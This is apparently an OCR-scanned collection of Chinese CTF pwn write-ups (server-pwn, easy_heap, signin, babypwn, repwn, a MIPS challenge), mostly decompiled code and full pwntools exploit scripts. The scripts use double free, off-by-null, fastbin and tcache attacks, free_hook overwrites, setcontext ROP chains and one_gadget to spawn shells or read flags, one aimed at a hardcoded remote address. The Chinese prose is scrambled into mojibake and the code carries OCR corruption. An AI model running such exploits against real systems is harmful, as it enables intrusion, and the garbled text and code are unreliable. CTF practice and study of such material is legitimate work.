)__sprintf_chk(&v14, 1LL, 512LL, "<body><html>%s<h2>your num is:</h2>%d</body></html>", );

*((BYTE M)8vl + 1) = 8;
= gword_603140[v4];
if ( *(_bw )( +16) > (signed int) )
*( ) ( +16) = ;

WNERIXEERYV890x80000000, APBA-VBIPARIXNE, XEENZTRHEAMEFAR LR " HFI#HITR
F5+1, TI0x80000000f AL+ 1{35A20x80000000

XGRS EEE


af://n308

VEVLL2ABILY Sty IPT LI _MIINLVEV; ALl SiltL 3 SIEOWLLLVL G /2N IO 2\ NV SO ASY N Bl S
v7 = qword_603140[ (signed int)vi];
v8 = *(_DWORD *)(v7 + 16);
if (v8<0)
*(_DWORD *)(v7 + 16) = -v8;
v9 = (signed int)__sprintf_chk(&v14, 1LL, 512LL, "<body><html>%s<h2>your num is:</h2>%d</body></html>", v26);
vl = v9;
*((_BYTE *)&v14 + v0) = @;
v1ll = gword_603140[v4];
if ( *(_DWORD *)(v11 + 16) > (signed int)vie )
*(_DWORD *)(v11 + 16) = v10;
puts(">>:");
puts("HTTP/1.1 200 OK\nDate: Mon Jun 6 06:06:06 2066");
__printf_chk(
1LL,
"Content-Length: %d\n"
"Content-Type: text/html\n"
"\n"
"<IDOCTYPE html><head><meta charset=\"utf-8\"»<title>server-pwn</title></head>%s\n",
v10,
vl12,
v13);
write(1, &v14, *(unsigned int *)(qword_603140[v4] + 16)); ’_’—f
return _ readfsqword(0x28u) * v27;

XEER— M ABIILTEEIEAGHEE, XK, HeEREIbcEUL E P RIREREESHTR
HUBRERIT 7

EANEPOSTRIIERAETHcmd Adeletelt, £F—NETEHTdeletelR{E:

v2 = vi[4];
if (V2 1= 'at)

if ((v2 == "d' & vI[5] == 'e' && vi[6] == '1" && v1[7] == 'e" && v1[8] == 't' && v1[9] == 'e' )
if ( pthread_create(&newthread, OLL, start_routine, OLL) )

puts(">>:");
puts("HTTP/1.1 200 OK\nDate: Mon Jun 6 06:06:06 2066");
__printf_chk(1LL, "Content-Length: %d\nContent-Type: %s\n\n{%s}", 21LL, "text/plain”, "Error, can not ds
}
else
{
puts(">>:");
puts("HTTP/1.1 200 OK\nDate: Mon Jun 6 ©6:06:06 2066");
__printf_chk(
1LL,
"Content-Length: %d\nContent-Type: %s\n\n{%s}",
28LL,
"text/plain”,
"Success, has delete all data");
}
goto LABEL_11;
}

XEFE—FARFHRR, EFERFSETSEDbsshEaiAiEtt



291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320

LABEL_51:

vl8 = gqword _6031B8;
if ( !qword_6031B8 )
goto LABEL_52;

goto LABEL_46;
}
++Vv3;
*(_OWORD *)(qword_6031B0 + 8) = v17 - 1;
v1l8 = qword 6031B8;
v19 = qword_6031B8 == 0;
*(_QWORD *)(gqword_6031B0 + 32) = 1LL;
if ( v19)
{

sleep(1lu);

goto LABEL_1;

¥

LABEL_46:

v20 = *(_QWORD *)(v18 + 8);
if ( 'v2e )
break;
*(_QWORD *)(v18 + 8) = v20 - 1;
*(_OWORD *)(qword_6031B8 + 32) = 1LL;
sleep(1u);
vl = qword_603140[0];
if ( gqword _603140[0] )
goto LABEL 2;

if ( *(_QWORD *)(v18 + 32) )

v24 = *(void **)v18;

BRER—ABRE, BIAMEIETRIARRIE, FAMEET LK ree XEHELRBEH
Rifree TLAS, iRBRHTISEHES, XHEAILUER double free EANZIERIIE—NMEMIRIIRLRER
K, SER#H TsIeep 170 MTifHSdeletelLfRHEER, XIFRIEfree AN ERILA—BI#H1T

SIS POST crnd=ad AR, BIEEIZEMRE MRS Z AR NMEIR R R —
B, XEMBEERFD



167| while ( 1)

168| {

169 v21 = quord_603140[v20];

17@ sa = v20;

171 if ( tv21)

172 goto LABEL_63;

173 if ( *(_QWORD *)v21 &% !strcmp(*(const char **)v21, &dest) )
174 break;

175 i | ++v20 == 16 )

176 {

177 sa = 16;

178|LABEL_63:

179 v22 = malloc(@x28ullL);

180 *((_QWORD *)v22 + 3) = malloc((signed int)strlen(&src));
181 *(_QWORD *)v22 = malloc(@x50ulLL);

182 *((_DWORD *)v22 + 4) = atoi(&nptr);

183 v23 = atoi(&v40);

184 v24 = (char *)*((_QWORD *)v22 + 3);

185 *((_QWORD *)v22 + 1) = v23;

186 *((_QWORD *)v22 + 4) = OLL;

187 strcpy(v24, &src);

188 strncpy(*¥(char **)v22, &dest, @x30QulLlL);

189 qword_603140[sa] = (__int64)v22;

190 puts(“>>:");

191 puts("HTTP/1.1 200 OK\nDate: Mon Jun 6 06:06:06 2066");
192 __printf_chk(1LL, "Content-Length: %d\nContent-Type: %s\n\n{%s}", 25LL, "text/plain”, "Success,has create a user");
193 goto LABEL_11;

194 }

195|@ }

1960 *(_QWORD *)(v21 + 8) = atoi(&v40);

197 *(_QWORD *)(gword_6@314@[(signed int)v20] + 32) = OLL;

198| puts(">>:");

199 puts(“HTTP/1.1 200 OK\nDate: Mon Jun 6 06:06:06 2066");

200 _ printf_chk(1LL, "Content-Length: %d\nContent-Type: %s\n\n{%s}", 26LL, "text/plain"”, "Success,has change the pwd");
201|LABEL_11:

202 v4 = _ readfsqword(0x28u);

203| result = v4 ~ v43;

BH— R ABEERH TmallocRIEZE], 1ZEMEIRETERIchunk= B X BEMER ARSI TAY
deleteZziEHBfree—ix

MifiEZldouble free
BT double free, XBTlibcEl AFMHRIZFFgotRIFIH

ARG EH 2l freefIgotzR Asystem, AfGfree “cat flag”, XEBR{+4AAfree “/bin/sh" X2
RA&ENfreeREARRRLIEAEN, BRHREXFDAERGegetshellgy, Frllcat flagttikia
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Z

BEFriBexplE, EXAERARMIEZERBEREREN, IRTHgccFT-02Mti, iREE
WL ERREFERMEES T —K#, RAREEICpieffFHEkl, FEHEEIIVET, RIEEME
XEERIAZpietBgesed, MALHAIpiell EEERIEENX

#encoding:utf-8

#!/upr/bin/env python

from pwn import *

def debug(addr=0,pie=0):

global p

if pie:

text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()
[1],16)

log.info("ELF_base:{}".format(hex(text_base)))
log.info("bss:{}".format(hex(text_base + 0x204120)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
# gdb.attach(p,'b *{}'.format(hex(text_base+addr)))

if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:

gdb.attach(p)



else:

if addr!=0:

gdb.attach(p,'b *{}'.format(hex(addr)))
else:

gdb.attach(p)

pause()

def sT1(s):

return p.sendline(s)

def sd(s):

return p.send(s)

def rc(timeout=0):

if timeout ==

return p.recv(Q)

else:

return p.recv(timeout=timeout)
def ru(s, timeout=0):

if timeout == 0:

return p.recvuntil(s)

else:

return p.recvuntil(s, timeout=timeout)
def sla(a,s):

return p.sendlineafter(a,s)
def sda(a,s):

return p.sendafter(a,s)

def getshell():

# p.sendTine("1s")
p.interactive()

def msg(msg,addr):
log.warn(msg+"->"+hex(addr))

def add(idd,pwd,name,num):
pay="POST / index.html \t\n"
pay+=" Connection: keep-alive"
pay+="cmd=add&id="+idd
pay+="&pwd="+str (pwd)
pay+="&num="+str (num)
pay+="&name="+name

ru("<<:\n")

sd(pay)

def show(idd,pwd):

pay="GET / index.htm]l Connection: keep-alive'
ru("<<:\n")

sd(pay)

ru("<<:\n")

sd(idd+"\x00")

ru("<<:\n")

sd(str(pwd)+"\x00")

def free(Q):

pay="POST / index.html \t\ncmd=delete"
pay+=" Connection: keep-alive"
ru(<<:\n")

sd(pay)



def exp():

# debug(Q
add("1",1,"a"*0x50,2147483648)
add("2",2,"b"*0x50,200)
add("3",3,"c"*0x50,200)
add("4",4,"d"*0x50,200)
add("5",2333,"e"*0x50,200)

# debug(0x1A66,pie=1)
# debug(0x401894,pie=0)
show("1",1)

# ru(p64(1))

# ru(p64(0))

# elf_base=u64(p.recv(6).1just(8,"\x00"))-0x2345

# print "elf base:"+hex(elf_base)

# ru(p64(elf_base+0xdd7))

# ru(p64(0))

# Tibc_base=u64(p.recv(6).1just(8,"\x00"))-0x20830
# 1libc.address=Tibc_base

# system=1ibc.sym["system"]

# print "1ibc base:"+hex(1libc_base)

ru(p64(0x400c77))

ru(p64(0))
Tibc_base=u64(p.recv(6).1just(8,"\x00"))-0x20830
T1ibc.address=11ibc_base

system=1ibc.sym["system"]

print "libc base:"+hex(Tibc_base)

free()

# print p.recv(Q)
sleep(5)

#

show("2",0)

ru("welcome! ")
heap=u64(ru("</hl><hr>")[:-9].1just(8,"\x00"))
msg("heap",heap)

add("6",1,p64 (heap+0x2c0).1just(0x50,"a"),200)
sleep(2)

# debug(pie=0)
add("7",233,p64(0x602ffa) . Tjust(0x20,"'a"),200)
# print p.recvall()

add("8",2333,"A"*0x50,200)



add("9",3,"1s;cat flag;/bin/sh\x00".1just(0x50, 'x"'),200)

add("10",233, ("X"*(6+8)+p64(system) [:-2]+"'\x00") .Tjust(0x50, 'X"),200)
sleep(4)

# print p.recv(Q)

getshell()

if _name__ == '_main__":
bin_elf = "./server"
elf = ELF(bin_elf)

context.binary=bin_elf

context.log_level = "debug"
#context.terminal=["tmux', 'splitw', '-h']
if sys.argv[l] == "r":

p = remote("0.0.0.0",0000)

Tibc = ELF("./1ibc-2.23.s0")

elif sys.argv[1l] == "1":

Tibc = elf.Tlibc

#BUHas 1 e KL

#p = process(bin_elf, aslr=0)

#IOA T3 bt AT R :

#p = process(bin_elf,env = {"LD_PRELOAD": "../Tibc-2.23.50.i386"})
p = process(bin_elf)

exp()

easy_heap

SLIMMR glibc2 3151712, WLIBEIRE, B41I08E

PITENINEET LRI Eedit RELHFEE—" off by oneifFiA
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v@ = qword_4460[v4];

vl = (unsigned int)dword_4060[v4];

v2 = qword 4460[v4];

BYTE *)(v@ + (signed int)read 0()) = 0;

fRREEE:

AER R T balsn ctf 201989plaintext, HF2.2922fF unlink&MEINT #FAIcheck, Si&Mpre_sizeF
size2AICEC, FTLAXE(EargebinsHhiXBBRTtEEH B S MiSoverlap, XEJfFfEoff-by-null, FrLA
BEMMLOREE A FHHW00, FILE1/16HIMEE,

BEKAASLRAEEL, BESRiE—RBRAUHELANR 7N T E ARk Mcache ARY), #1531
AYtopchunk3E0x....00104k

(size : 0x19ff0)
(size : Ox0)
Ox0

ZJEEHE—HR0x100089chunk1, BEIEFE— N chunkBilEchunk 1B iET Stopchunk &3, XA
chunk 1 BBERBE—RATF0x100089chunk, chunk1si&iElargebindrZs




AJLABEIXANchunk 1 P EEEBAVEZRIHEBIL Y, ZTRBEMBX N chunk  REITRIE T, XERK
IAE—NOX5 200 BRI B FfdFE0X....00404k

E N RiEp->fd->bk=p, tBHEZE0x...004089bk{IEHXIAK0x...0020

FEERIE 4N —HRER/\Ichunk 1,2,3,4, 2AJEHEfastbinsdh, XEFEZERRI—FFLBHBEER7 P IEAT

0 x20
Ox30
Ox40
O x50
O x60
Ox70
XS0

BERIXEARZRNTEEN, FIIEHEIZEdk, FIAFENEIsmallbinthZ, IB7MNTEAEFFRIBEZE
i5%Stcache, BEBE—MMEARRYchunk({#{80x...0040%smallbindhZ




MAEMHBEIZR T, F TG SRBIFHRBEDK/I0x....0020807]

ERERYRERE, J50x....001089fdiR B A0x...0020




Z& ik unlinksEHoverlap, EidshowikiSlibcitbilt, f&Bhtcachel&free_hookfasetcontext+331#
frsrop, {BREN2.29Z 5 setcontext AEELArdiffin581, FMLAXBEFEGEI— 1 gadgetsiESE
Hrdit&mrdx, EBsLilorw

exp:

#coding:utf-8 #version 1
from pwn import * import sys

Tocal = 1

context.terminal=["tmux', 'splitw',"'-h"]

if len(sys.argv) == 2 and (sys.argv[l] == 'DEBUG' or sys.argv[l] == 'debug'):
context.log_level = 'debug' if local:

p = process('./easy_heap')

elf = ELF('./easy_heap',checksec = False) libc = elf.Tibc
else:

p = remote("")

def debug(addr=0,PIE=True):

if PIE:

text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()
[1], 16D

print "breakpoint_addr --> " + hex(text_base + 0x202040)

gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else:

gdb.attach(p,"b *{}".format(hex(addr)))

sd = Tambda s:p.send(s)
rc = lambda s:p.recv(s)
s1 = Tambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)

sda = Tambda a,s:p.sendafter(a,s)

sla Tambda a,s:p.sendlineafter(a,s)
def choice(idx):
sla("cChoice:",str(idx))

def add(size):

choice(1)

sla("size: ",str(size))

def edit(idx,data): #have a off by null
choice(2)

sla("Index: ",str(idx))
sda("Content: \n",data)
def delete(idx):
choice(3)

sla("Index: ",str(idx))
def show(idx):
choice(4)

sla("Index: ",str(idx))
add (0x18)#0

add(0x6c08) #1

for i in range(7): #idx[2~8] 7 tool chunk

add (0x28)

# now heap begin with Ox..... 0010 add(0x1000) #9
add(0x18) #10 avoid to merg with top chunk delete(9)
add(0x2000) #9 set chunk 0x1000 to largebin
add(0x28) #11

edit(11l,p64(0)+p64(0x521)+p8(0x40))

add(0x28) #12

add(0x28) #13



add(0x28) #14
add(0x28) #15
for i in range(2,9):

delete(i)

delete(14)

delete(12)

for i in range(7): #idx[2~8]

add (0x28)

add(0x400) #12:set the chunk in fastbin to smallbin for set O0x...0040's bk
add(0x28) #14

add(0x28) #16
edit(14,p64(0)+p8(0x20))

# now set the chunk 0x....0010's fd
for i in range(2,9):

delete(i)

delete(13)

delete(11)

for i in range(7):

add (0x28)

add(0x28) #11
add(0x28) #13
edit(11,p8(0x20))
add(0x28) #17
add(0x5f8) #18
add(0x10) #19
edit(19,"/bin/sh\x00™)
edit(17, "i'*0x20+p64(0x520)) #trigger off by null
add (0x4b8)

delete(18)

#debug ()

show(12)

ru("Content: ")

main_arena = u64(rc(6).1just(8,'\x00')) - 1648 malloc_hook = main_arena - 0x10
Tibc_base = malloc_hook - Tibc.symbols['_malloc_hook'] free_hook = 1libc_base +
Tibc.symbols['__free_hook'] system = libc_base + Tibc.symbols['system']
setcontext = libc_base + 1ibc.symbols['setcontext'] log.info("main_arena -->
%s" ,hex(main_arena)) log.info("free_hook --> %s",hex(free_hook))

pop_rax = 0x000000000004a550 + libc_base

pop_rdi 0x0000000000026b72 + 1ibc_base

pop_rsi = 0x0000000000027529 + Tibc_base

pop_rdx_rl12 = 0x000000000011clel + 1ibc_base

syscall_ret = 0x0000000000066229 + 1libc_base

ret = 0x0000000000025679 + Tibc_base

pay = p64(0x1547a0 + libc_base) #mov rdx, qword ptr [rdi + 8]; mov gword ptr
[rsp]l, rax; call gword ptr [rdx + 0x20]

pay = pay.ljust(0x20, '\x00")

pay += p64(setcontext+33)

pay = pay.ljust(0x38,'\x00') pay += p64(0)*2 #r8,r9

pay = pay.ljust(0x68,'\x00') pay += p64(0) + p64(0) #rdi,rsi pay =
pay.1just(0x88,'\x00"') pay += p64(0) #rdx

pay = pay.ljust(0x98, '\x00")

pay += p64(0) #rcx

pay = pay.ljust(0xa0, '\x00"') #return

pay += p64(free_hook+0xf0) #stack



pay += p64(ret)

pay = pay.ljust(0xe0, '\x00")

pay += p64(free_hook)

pay += p64(ret) #ret

#open("flag")

flag = free_hook + 0x1b8

pay += p64(pop_rdi) + p64(flag)#0xb0 here 1is rop
#pay += p64(pop_rsi) + p64(0)

#pay += p64(pop_rdx_rl2) + p64(0) + p64(0)
pay += p64(pop_rax) + p64(2)

pay += p64(syscall_ret)

#read(3,buf,0x200)

pay += p64(pop_rdi) + p64(3)

pay += p64(pop_rsi) + p64(free_hook & Oxfffffffffffff000) #buf pay +=
p64(pop_rdx_r12) + p64(0x200) + p64(0)

pay += p64(pop_rax) + p64(0)

pay += p64(syscall_ret)

#write(l,buf,0x200)

pay += p64(pop_rdi) + p64(1)

pay += p64(pop_rsi) + p64(free_hook & Oxfffffffffffff000)
pay += p64(pop_rdx_r12) + p64(0x200) + p64(0)
pay += p64(pop_rax) + p64(1)

pay += p64(syscall_ret)

pay += "flag\x00"

delete(12)

add(0x1f8) #12

add(0x1f8) #18

delete(18)

delete(12)

edit(1l,"\x00"*0x10 + p64(free_hook))
add(0x1f8) #12

add(0x1f8) #18 free_hook

edit(18,pay)

edit(0,'a'*8 + p64(free_hook))

delete(0)

#debug ()

#debug

p.interactive()

signin
XA RREMAER, BuaffdimE, s8malloc104~chunk

FeiEIidmalloc—N0x80F chunkEfreeiffunsortedbinifE8E main_arenafyifd, E@idviewREGEbHE
FIEDHR, BP3RIS T libcAYttiit

EaBEEduafiZmalloc_hookJgonegadget, BirJdouble freefifi’& malloc_hookift Tgetshell (H3a]LA
Krealloc, BEmalloclIRt{Egetshell)

#lusr/bin/env python
# -*- coding:utf-8 -*-

from pwn import*
from LibcSearcher import *

context.log_level ='DEBUG'


af://n387

r = process('./easypwn')
# r = remote('47.93.30.224"',9999)
elf ELF('./easypwn")

Tibc = ELF('/1ib/x86_64-1inux-gnu/libc.so0.6")
# 1ibc = ELF('./1libc.so0.6")

def add(length,name,color):
r.recvuntil("Your choice :")
.sendTine("1")
.recvuntil(":")
.sendline(str(length))
.recvuntil(":")
.sendTine(name)

.recvuntil(":")
.sendline(color)

=

b T S B B B |

def visit():
r.recvuntil("Your choice :")
r.sendline("2")

def remove(idx):
r.recvuntil("Your choice :")
.send1ine("3")

r
r.recvuntil(":")
r.sendline(str(idx))

def clean():
r.recvuntil("your choice :")
r.sendline("4")

add(0x60, 'a'*8,'a'*8)
add(0x60, 'a'*8,'a'*8)
add(0x80, 'b"'*8,"'b"'*8)
add(0x60, 'c'*8,"'c"'*8)

remove(2)

add(0x20, 'd'*8,"'e"'*8)

# gdb.attach(r)

visit()

r.recvuntil("d"*8)

main_arena = u64(r.recv(6).1just(8, '\x00'))-0xa +0x20
print hex(main_arena)

obj = LibcSearcher('_malloc_hook',main_arena-0x10)
1ibc_base = main_arena - 0x3C4B20

print hex(libc_base)

# Tibc_addr = main_arena-0x10 - obj.dump('_malloc_hook")
# print hex(libc_addr)

one_gadget = libc_base +0xf1207

target = main_arena - 0x33

realloc = libc.symbols['realloc']+Tibc_base

remove (0)

remove (1)

remove (0)

add(0x60,p64(target), 'a')



add(0x60, 'b',"'b")

add(0x60,'c','c")

payload = 'a'*0x13 + p64(one_gadget)# + p64(realloc+4)
add(0x60,payload, 'd")

# gdb.attach(r)

#Wikfreeld—/~chunk, filh % 4 e %

#1101 FH 404 2R B i % L2 Blmalloc-hook, Mifigetshell
remove (0)

remove (0)

# r.recvuntil("Your choice :")

# r.sendline("1")

r.interactive()

babypwn

BIERIREshowRE, FFLASHERIIO_FILEfYleakFIFE, BR2IXPRHEIT mallochdchunk BIA/NSA
fastbin

LR |scanfRRESkfT A malloc_consolidate, {#tB%SRfastbintEbiH{TEFH, FHE Aunsortedbinfy
RAFlh

ETRMEBEfdAstdout-0x4389 &, XIstdouttEHT TEEL, leaklibcithik
#malloc_hooksone_gadget,getshell
o REZE/160fEIRHstdouthUitbil, HERPTLIHIERIAFEEIRK

#lusr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *

context.log_level ='DEBUG'

# r = process('./pwn')

r = remote('183.129.189.60',10031)

elf = ELF('./pwn'")

Tibc = ELF('/1ib/x86_64-11inux-gnu/libc.so0.6")

def add(length,name,color):
.recvuntil("Your choice :")
.send1line("1")
.recvuntil(":")
.sendline(str(length))
.recvuntil(":")

.send(name)

.recvuntil(":")
.sendline(color)

def remove(idx):
r.recvuntil("Your choice :")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))

def clean():
r.recvuntil("yYour choice :")
r.sendline("3")

def pwn(Q):

e e T T I e B B |
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add(0x28,'a','a")
add(0x28,'b','b")
add(0x28,'b','b")
add(0x28,'b"','b")

add(0x68, 'c'*0x60+p64 (0x100),"'c")
add(0x68, 'c'*0x60+p64 (0x100),'c")
remove (0)

remove (1)

add(0x68,'e','e")

add(0x68,'7'*8,"'7"'*8)

add(0x68, '8'*8,'8"'*8)

remove (6)

remove(7)

remove (8)

add('0'*5000,'a","'a")

add(0x68,p16(0x25dd),'a")

# gdb.attach(r)

remove (4)

remove (5)

remove (4)

add(0x68,p8(0xc0),'b")

add(0x68,p8(0xc0),'b")

add(0x68,p8(0xc0),'b")

add(0x68,p8(0xc0),'b")

pay = 0x33*'A' + p64(0xfbadl1800) + p64(0)*3 + '"\x00'
r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(0x60))
r.recvuntil(":")
r.send(pay)

# gdb.attach(r)
stderr = u64(r.recvuntil('\x7f"')[-6:]1.1just(8, " '\x00"))
print hex(stderr)

Tibc_base = stderr+0x20 - Tibc.sym['_10_2_1 stdout_"']
print hex(libc_base)

r.recvuntil(":")

r.sendline('aaaa')

one = [0x45226,0x4527a,0xf0364,0xf1207]

onegadget = libc_base + one[3]

malloc_hook = stderr - OxafO

realloc = Tibc.symbols['realloc']+1ibc_base

print hex(malloc_hook)

#get shell

remove (10)

remove (11)

remove (10)

add (0x60,p64(malloc_hook-0x23),'b")
add(0x60,'a',"'a")

add(0x60,'a',"'a")

payload = 'a'*0x13 + p64(onegadget)

add (0x60,payload, 'd")

#doublefiixmalloc_hook

remove (0)

remove (0)

r.interactive()



i=0

while 1:

i+=1
log.warn(str(i))

# pwn QO

try:

pwn ()

except Exception:
r.close()

# r = process('./pwn')
r = remote('183.129.189.60',10031)

repwn

—. idapiriZiE BFRRE— T mallocil— Mreel2E, BERIFF 7L R T system

{

-—as s w & P war arww 'y J

int v0; // ebx
void **vl; // rbx
int nbytes; // [rsp+Ch] [rbp-14h]

printf("how long?");
nbytes = sub_1170();
if ( dword_20204C > 9 || dword_20204C < 0 )
exit(0);
if ( nbytes <= 0 || nbytes > 0x68 )
exit(0);
v0 = dword_20204C;
qword_202060[v0] = malloc(0x1lOuLL);
vl = (void **)(qword_202060[dword_20204C] + 8LL);
*vl = malloc(nbytes);
read(0, *(void **)(qword_202060[dword_20204C] + 8LL),
return (unsigned int) (dword_20204C++ + 1);

MallociX ERpRHI T FRISAIHER M L9104, BRBE/fastbin BEEreetdE)

printf ("which one?");
v0 = sub_1170();
if ( v0O > 10 || vO < 0)
exit(0);
if ( qword _202060[v0] )
free(*(void **) (qword_202060[v0] + 8LL));



REBRuafiFE B& FshowRE:

exit (0);
if ( !dword_202050 )
{
sub 10E4((__int64)&buf, 16);
HIDWORD(n) = 51;
vs = 18;
v6 120;
vl = 36;

sub E95(&buf, 16LL, (char *)&n + 4);

write(l, &buf, O0x1OuLL);
dword_ 202050 = 1;

L EBMARE, TLOHRRARAR, XEESLELGHRHEIR, B2 AT T xxtealIE

BN, ATLARESRIARS INEE AR I THEE A settstacktiit,

BERRIXFERY: 1. ottt BidshowREl, BEEBCS M xtealIERIRZRIA

2. FAuafiftfTdouble freefUtaiE, Flffastbin attack, SLIFX EERNS, XSretiitAIREFTT
Fwrite BEHIFI2AMES, BB A0Xce2BINIERL, XBHE1/16HYEMH, XEERTLAretBd i iTwriteR

#

(VAVIVAIVAVIVIVIVISN D) mov Irsa, rax 7 buzrx
00000000CE2 mov edi, 1 ; fd
00000000CE7 mov eax, O

00000000CEC call write

00000000CF1 mov cs:dword_202050, 1
00000000CFB jmp loc_CO05

1 S e ————

nnnnnnnnnnn

FUATLAFTEDHHE bE, XEEFEATTIARHK S malloclIBREIREL, MR ESHRE . 3. BE

HreEF Ffastbin attackSCIIEIFRAYretitbiit, SCHropiRfE, SthRHESTHbIE

4. BiftiTfastbin attackSEIIENFFALAretttbiit, SCHlropAULIERB#ER(E, EEIbssBR £, HiTopen,

read. writeSR¥TEDHFAIIAOflag
TSR expl T

#coding=utf8

from pwn import *
context.log_level = 'debug'
context(arch="amd64', os='Tinux"')



Tocal = 1

elf = ELF('./repwn')

if Tocal:

p = process('./repwn')

Tibc = ELF('/1ib/x86_64-11inux-gnu/libc.so0.6")

else:

p = remote('0.0.0.0',3389)

# 1libc = ELF('./Tibc6_2.23-0ubuntull_amd64.s0")

Tibc = ELF('./1ibc6_2.23-0Oubuntull_amd64.so')
#onegadget64(libc.so.6) 0x45216 O0x4526a O0xf02a4 O0xf1147

s1 = Tambda s : p.sendline(s)
sd = Tambda s : p.send(s)
rc = lambda n : p.recv(n)

ru = lambda s : p.recvuntil(s)

ti = Tambda : p.interactive()

def debug(addr,PIE=True):

if PIE:

text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()
[1], 16)

gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:

gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):

gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("your choice:")
s1('1")

ru("how long?")
s1(str(size))

sd(content)

def free(index):

ru("your choice:™)
s1('3")

ru("which one?")
s1(str(index))

def show(content):
ru("your choice:")
s1('2")

s1(content)

def edit(index,content):
ru("your choice: ")
s1('4")

ru("which book to write?")
s1(str(index))
ru("Content: ")
s1(content)

def double_free_attack(addr,py):
free(0)

free(l)

free(0)

malloc(0x68,p64(Caddr))
malloc(0x68,"aaaa")
malloc(0x68,"aaaa")
malloc(0x68,py)



_DELTA = 0x76129bda

v =[]

key = [0x33,0x12,0x78,0x24]
def decrypt(v,n,key):

n =n-1
z = v[n]
y = v[0]
q=7+35// (n+ 1)

suml = (q * _DELTA) & Oxffffffff

while (suml != 0):

e =suml > 2 & 3

for p in xrange(n, 0, -1):

z = v[p - 1]&0xff

vip]l =(vipl-(((z >> 7 Ay << 3) + (y > 2 A z << 5)-0x21) A (suml A yAOx57) +
(key[p & 3 A e] A z)+0x3f)) & Oxff

y = vip]

z = v[n]

v[0] =(v[0]-(((z >> 7 Ay << 3) + (y > 2 Az << 5)-0x21) A (suml A yAOx57) +
(key[0 & 3 A e] A 2)+0x3f)) & Oxff

y = v[0]

suml = (suml - _DELTA) & Oxffffffff

return v

def pwn(Q):

malloc(0x68,"aaaa")

malloc(0x68,"aaaa")

malloc(0x68,"aaaa")

# debug(0xc82)

show("vv")

# rc(0x8)

for i in range(16):

v.append(u8(rc(l1)))

addr = decrypt(v,0x10,key)

stack = "Ox"

for i in range(6):

stack += hex(addr[13-i]1)[2:]

print stack

stack = int(stack,16)

stack = stack-0xf3

print "stack--->" + hex(stack)

# # # debug(0)

py = "k"*0x28+"\x00"*3+"'\xe2\x4c'
double_free_attack(stack,py)

rc(0x2b)

base_addr = u64(rc(8))-0xc06+0xce-0x5a-0x15d-2
rc(0x35)

print "base_addr--->" + hex(base_addr)
pop_rdi_ret = base_addr + 0x0000000000001253
pop_rsi_rl5_ret = base_addr + 0x0000000000001251
read_plt = base_addr + elf.sym["read"]
write_plt = base_addr + elf.sym["write"]
printf_got = base_addr + elf.got["printf"]
num_addr = base_addr + 0x20204C

main_addr = base_addr + 0x00000000000C05
write_got = base_addr + elf.got["write"]
fake_chunk = stack-0x30

py = "'

py += 'b'*0x28



py += '"\x00'*3

py += p64(pop_rdi_ret)

py += p64(0)

py += p64(pop_rsi_rl5_ret)
py += p64(num_addr)

py += p64(0)

py += p64(read_plt)

py += p64(main_addr)

double_free_attack(fake_chunk,py)
sd(p64(0))

py = "'

py += 'c'*0x28

py += '\x00'*3

py += p64(pop_rdi_ret)

py += p64(1)

py += p64(pop_rsi_rl5_ret)
py += p64(printf_got)

py += p64(0)

py += p64(write_plt)

py += p64(main_addr)

double_free_attack(fake_chunk,py)
Tibc_base = u64(rc(8))-1libc.sym["printf"]
rc(0x60)

print "libc_base--->" + hex(libc_base)
Teave_ret = base_addr + 0x0000000000000bcl
pop_rdx_rsi_ret = Tibc_base + 0x0000000000115189
# mprotect = Tibc_base + Tlibc.sym["mprotect"]
# # debug(0)

pop_rbp_ret = 0x00000000000009d0+base_addr
bss = elf.bss()+0x100+base_addr

open_plt = 1ibc_base + Tibc.sym["open"]

py = "'

py += 'c'*0x28

py += "\x00'*3

py += p64(pop_rdi_ret)

py += p64(0)

py += p64(pop_rdx_rsi_ret)

py += p64(0x110)

py += p64(bss)

py += p64(read_plt)

py += p64(main_addr)

# py += p64(bss)

double_free_attack(fake_chunk,py)
# pause()

py = "'

py += 'aaaaaaaa'

py += p64(pop_rdi_ret)

py += p64(bss+0x98)

py += p64(pop_rdx_rsi_ret)
py += p64(0)

py += p64(0)

py += p64(open_plt)

py += p64(pop_rdi_ret)

py += p64(3)

py += p64(pop_rdx_rsi_ret)



py
py
py
py
py
py
py
py
py
py

+= p64(0x100)

+= p64(bss+0x200)

+= p64(read_plt)

+= p64(pop_rdi_ret)

+= p64(D)

+= p64(pop_rdx_rsi_ret)
+= p64(0x100)

+= p64(bss+0x200)

+= p64(write_plt)

+= "./flag\x00\x00"

sd(py)
# pause()

py =

py
py
py
py
py

+= "c'*0x28

+= "\x00'*3

+= p64(pop_rbp_ret)
+= p64(bss)

+= p64(leave_ret)

# debug(0xe9a)

# debug(0x000000000000E5D)
double_free_attack(fake_chunk,py)
pwn ()

p.interactive()

m

ipspwn

1. FeREIRER: f3kENEI789discriptionA etk & HiRIE:

W mips image/Assembly I =/ main/Source ‘ |=! description/Source

/= vul/Source &3 L

ssize t vul() {
return read(0, &v0, 176);
}

2, EEIFidantmieR: TERFIAIEmipsropEHERINSEHgadget
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.text:00400798 loc_400798: # CODE

.text:00400798 1w $ra, 0x30+var_4($sp)
.text:0040079C 1w $s3, 0x30+var_8($sp)
.text:004007A0 1w $s2, 0x30+var_C(S$sp)
.text:004007A4 1w $sl1l, 0x30+var_10($sp)
.text:004007A8 1w $s0, 0x30+var_14($sp)
.text:004007AC jr Sra

.text:004007B0 addiu $sp, 0x30

text:004007B4 f e ——————————
XEBIgBEIFSHE, BERENEEIIEANgadget:

.text:00401040 lw $fp, O0x58+var_38($sp)
.text:00401044 lui $gp, O0x41
.text:00401048 ik | $gp, O0x4194E0
.text:00401050 move $t9, $s2
